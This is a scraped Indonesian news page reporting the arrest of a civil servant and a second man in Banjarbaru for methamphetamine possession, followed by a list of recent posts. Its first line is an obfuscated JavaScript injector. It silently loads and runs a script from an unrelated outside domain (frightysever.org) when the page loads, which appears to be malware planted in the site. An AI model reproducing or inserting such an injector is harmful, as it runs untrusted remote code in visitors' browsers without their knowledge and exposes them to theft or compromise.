(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
kriminal banjarbaru

Seorang ASN di Banjarbaru Ditangkap Simpan Sabu


KANALKALIMANTAN.COM, BANJARBARU – Seorang Aparatur Sipil Negara (ASN) warga Kelurahan Sungai Tiung, Kecamatan Cempaka, Kota Banjarbaru, kedapatan menyimpan narkotika jenis sabu.

ASN berinisial MR (48) itu ditangkap anggota Unit Opsnal Sat Resnarkoba Polres Banjarbaru pada Kamis (12/9/2024) lalu, sekitar pukul 16.30 Wita.

Kapolres Banjarbaru AKBP Dody Harza Kusumah melalui Kasi Humas Polres Banjarbaru AKP Syahruji mengatakan, ASN itu didapati menyimpan sabu dengan berat kotor 1,19 gram saat berada di Jalan Taruna Bakti, Kelurahan Palam, Kecamatan Cempaka.

Baca juga: 54 Ribu Butir Ekstasi dan 4,97 Kg Sabu Diungkap Polda Kalsel

“Dari MR petugas menyita barang bukti narkotika jenis sabu dengan berat kotor 1,19 gram,” ujar Kapolres Banjarbaru melalui Kasi Humas Polres Banjarbaru AKP Syahruji, Kamis (3/10/2024).

Aparat kepolisian menyita satu batang pipet kaca yang di dalamnya terdapat sisa sabu serta timbangan digital.

AKP Syahruji mengatakan, kasus ini kemudian dilakukan pengembangan. Dimana dalam pengembangannya polisi menangkap seorang laki-laki berinisial AM (36).

Baca juga: AJI Balikpapan Biro Banjarmasin Imbau Media Massa Patuhi Pedoman Pemberitaan Bunuh Diri

Lelaki itu ditangkap pada Jumat (27/9/2024) lalu, sekitar pukul 18.00 Wita, karena menyimpan narkotika jenis sabu dengan berat kotor 0,42 gram.

AM ditangkap di rumahnya di Desa Sungai Alat, Kecamatan Astambul, Kabupaten Banjar.

“Penggeledahan ini disaksikan warga, petugas menemukan narkotika jenis sabu dengan berat kotor 0,42 gram dan berat bersih 0,06 gram, satu batang pipet kaca yang di dalamnya terdapat sisa sabu-sabu, sebuah timbangan digital, serta barang bukti lainnya yang berkaitan guna proses penyidikan,” jelas dia.

Kedua pelaku saat ini berada di Rutan Sat Tahti Polres Banjarbaru. Dan akan menjalani proses hukum dengan jeratan hukuman Pasal 114 ayat (1) Sub Pasal 112 ayat (1) UU RI No. 35 Tahun 2009 Tentang Narkotika dan ancaman hukuman minimal 4 Tahun kurungan penjara. (Kanalkalimantan.com/wanda)

Reporter: wanda
Editor: bie


Muhammad Andi

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.